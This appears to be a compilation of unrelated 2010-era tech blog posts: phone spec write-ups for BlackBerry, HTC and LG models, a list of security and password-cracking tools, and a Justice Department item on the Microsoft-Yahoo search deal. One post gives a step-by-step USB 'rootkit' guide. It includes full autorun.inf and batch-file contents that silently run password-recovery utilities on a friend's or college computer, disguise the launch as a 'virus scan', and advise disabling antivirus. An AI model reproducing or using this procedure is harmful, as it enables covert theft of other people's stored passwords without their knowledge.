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BlackBerry Bold 9650 and the BlackBerry Pearl 3G 9100 and 9105

RIM has announced the launch of three new smartphones at the 2010 WES event in Orlando, USA. The new smartphones in question are the BlackBerry Pearl 3G 9100 and 9105 compact devices and the Blackberry Bold 9650.

Blackberry Pearl 3G
We will start with the new Pearl 3G series in which both devices boast of more or less, the same features except for differences in their keyboard layouts. The 9100 has a 20-key hybrid QWERTY SureType keypad, as the ones seen on prior Pearl models. The 9105, on the other hand, has the traditional RIM proprietary keypad design in a 14 key alphanumeric layout. Both the phones are amongst the most compact devices ever released by RIM. However,
the reduction in size hasn't resulted in compromise on the features front. Both the Pearl 3G models measure up at 108mm x 50mm x 13.3mm (4.25in x 1.96in x 0.52in) and each feature a high-res 360 x 400 pixel display. At 93g, the devices are also amongst the lightest devices from RIM. Both the phones boast of a 624MHz processor and come with a 3.2 megapixel autofocus camera (with video capture), an optical trackpad controller, GPS and Wi-Fi (802.11b/g/n), and a high-capacity microSDHC memory card slot.
  These Pearl phones also pack in a fully features media player and Bluetooth support. Both the devices are powered by a 1150mAh battery that should stay put for 5.5 hours of talk time on GSM/EDGE and HSDPA 3G networks. The devices are expected to be available for the average Joe starting May.


Blackberry Bold 9650
The BlackBerry Bold 9650 is RIM's latest offering for the CDMA platform. It supports the 3G (EVDO) networks in North America and (HSPA/UMTS) elsewhere and has a full-QWERTY keyboard, optical trackpad and built-in Wi-Fi (802.11 b/g) support. The BlackBerry Bold 9650 also includes 512 MB Flash memory and an expandable memory card slot that supports up to 32 GB microSDHC cards. It comes preloaded with a 2 GB card.The Bold 9650 boasts of a large (2.44-inch) high-resolution display (480 x 360 resolution at 245 ppi), a 3.2 MP camera with flash, variable zoom, image stabilization, autofocus and video recording and an advanced media player for videos, pictures and music.

It also comes with a 3.5 mm stereo headset jack and A2DP support. The Bold 9650 also features a Full HTML web browser and supports streaming audio and video via RTSP. For businessmen on the go, there is full GPS support as well. It boasts of a 1400 mAhr battery that should suffice for 5 hours of CDMA talk time. The Bold 9650 too, like the Pearl series, is expected to be on sale starting next month.


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If you like nice phones, then this phone looks amazing and will surely be rated among the hottest if not the top phone of this season.  This smart phone runs on the 4G network of sprint and has the best possible features and specifications with the stylish design and of course sleek look.Talking about the design, the face of this phone has a dazzling 4.3″ WVGA (800X 480 pixels) touch screen along with multi touch support.  All these features make it an ultimate version of the multimedia smartphone.  With 4.3 inches screen, it makes HTC EVO 4G a bit bigger than the average smartphone, but when you look at the comfort level in your hands, its not that bad.


Let’s have a look at how it works
HTC EVO 4G truly a wonder phone that works on the Android operating system.  It has identical features to the previous version of the HTC — HD2, and to some extent it also appears that the phone functions are also based on HD2 model.

Review of HTC EVO 4G phone
Looking at the people’s response, it is assumed that HTC EVO 4G is surely going to beat Apple’s Iphone.  People all over the world are surfing the net and reading in the detailed specifications and video of this most revolutionary product.

Specifications of HTC EVO 4G include

1. Screen (4.3 inch) which is among the largest available sizes in the market.
2. Wi Fi compatible
3. Operating system is Android 2.1
4. For speedy mobile access, HTC EVO 4G runs on both 4G and 3G network.
5. It is Bluetooth compatible.
6. It offers GPS navigation and has a digital compass.
7. HDMI port so that one can get connectivity to HDTV’s for watching and sharing videos and photos.
8. It is also Mobile HD enabled.
9. It features both 1.3 and 8.0 megapixel camera.
10. Even the messaging is available through text, IM and Email.
11. HTC EVO 4G has access of more than 30,000 apps that can be used for business, productivity and entertainment purpose.
12. It also offers mobile services which includes Google, gmail, voice and maps and you tube.
13. Even the integration of the social networking websites such as Flickr, Facebook, and lots more is possible with this amazing HTC EVO 4G phone.

Well so far the price has not been announced but it is estimated that it won’t be priced more than 800 USD total.
For people who are dying to grab this amazing HTC EVO 4G phone for all of them that good news is that they can purchase this smart phone through all the sprint channels and their national partners such as Best Buy, Radio Shack and Walmart  coming this summer.

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1. Nmap
I think everyone has heard of this one, recently evolved into the 4.x series.
Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.
Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

2. Nessus Remote Security Scanner
Recently went closed source, but is still essentially free. Works with a client-server framework.
Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.



3. John the Ripper
Yes, JTR 1.7 was recently released!
John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

4. Nikto
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).
Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

5. SuperScan
Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.
If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

6. p0f
P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:
- machines that connect to your box (SYN mode),
- machines you connect to (SYN+ACK mode),
- machine you cannot connect to (RST+ mode),
- machines whose communications you can observe.
Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.

7. Wireshark (Formely Ethereal)
Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.
Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

8. Yersinia
Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).
The best Layer 2 kit there is.

9. Eraser
Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.
An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.

10. PuTTY
PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4×0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.

11. LCP
Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.
A good free alternative to L0phtcrack.
LCP was briefly mentioned in our well read Rainbow Tables and RainbowCrack article.

12. Cain and Abel
My personal favourite for password cracking of any kind.
Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

13. Kismet
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.
A good wireless tool as long as your card supports rfmon (look for an orinocco gold).

14. NetStumbler
Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a nice interface, good for the basics of war-driving.
NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:
Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that may be causing interference on your network.
Detect unauthorized “rogue” access points in your workplace.
Help aim directional antennas for long-haul WLAN links.
Use it recreationally for WarDriving.

15. hping
To finish off, something a little more advanced if you want to test your TCP/IP packet monkey skills.
hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

16.OllyDbg
OllyDbg is a debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces registers, recognizes procedures, API calls, switches, tables, constants and strings, as well as locates routines from object files and libraries.
According to the program’s help file, version 1.10 is the final 1.x release. Version 2.0 is in development and is being written from the ground up.
The software is free of cost, but the shareware license requires users to register with the author. The current version of OllyDbg cannot disassemble binaries compiled for 64 bit processors.

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     As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

• MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

• Mail PassView Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free. Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

• IE Passview IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

• Protected Storage Pass View Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

• Password Fox PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

         Here is a step by step procedre to create the password hacking toolkit.
         NOTE: You must temporarily disable your antivirus before following these steps.

1.  Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it

         [autorun]
         open=launch.bat
        ACTION= Perform a Virus Scan 
        save the Notepad and rename it from
        New Text Document.txt to autorun.inf
        Now copy the autorun.inf file onto your USB pendrive.
   3. Create another Notepad and write the following text onto it.
       start mspass.exe /stext mspass.txt
       start mailpv.exe /stext mailpv.txt
       start iepv.exe /stext iepv.txt
       start pspv.exe /stext pspv.txt
       start passwordfox.exe /stext passwordfox.txt
       save the Notepad and rename it from
      New Text Document.txt to launch.bat
      Copy the launch.bat file also to your USB drive.
    
     Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP,Vista and 7

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

LG has launched 3G enable new multimedia mobile in India in the name GU285. This has a metallic body which gives a good look and a better protection. Best part about this mobile is that this is a slider model mobile.

It has been provided with the same features like other models available in the market. This has a large 5.6cm screen with 1.3MP camera. Since 3G is present the company has made sure to provide the mobile with an additional VGA camera for video calls.
Special feature about this model is the special 5 E-mail accounts setup. Users can check their mails easily in these 5 accounts. LG has also placed “RockeTalk” an in-built application which helps people to connect to messengers like Gtalk and yahoo. They have also made sure about the sound quality by placing 6 in-built equalizers. It is priced little above 5,000 INR.

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According to the Justice Department’s Antitrust Division, it cleared the search agreement between Microsoft and Yahoo. The reason to such action is the possibility of growing competition with Google.

65 percent of search market share belongs to the search giant in the U.S. Also the company holds 90 percent share in Europe that is considered to be the main factor for the DOJ and European Commission to strike a deal with Google.
Last July such companies as Yahoo and Microsoft signed a 10-year deal according to which Yahoo’s search would be powered by Microsoft’s Bing search engine on the back end but at the same time Yahoo would remain its appearance as well as feel of its search experience.

Moreover, Yahoo would use Microsoft’s search ad platform getting profit from 88 percent of traffic acquisition costs or search advertising partners.
In order to decide whether approve the deal or not, the DOJ got information from Yahoo and Microsoft as well as other market participants about the deal.
According to the DOJ, the deal will better the ability of Microsoft to rival with Google as it will provide it more scale.
One should note that Bing’s market share has increased and now it totals 11.3 percent, but still the DOJ considers the growth of Bing could be much greater, as it also serves for Yahoo.

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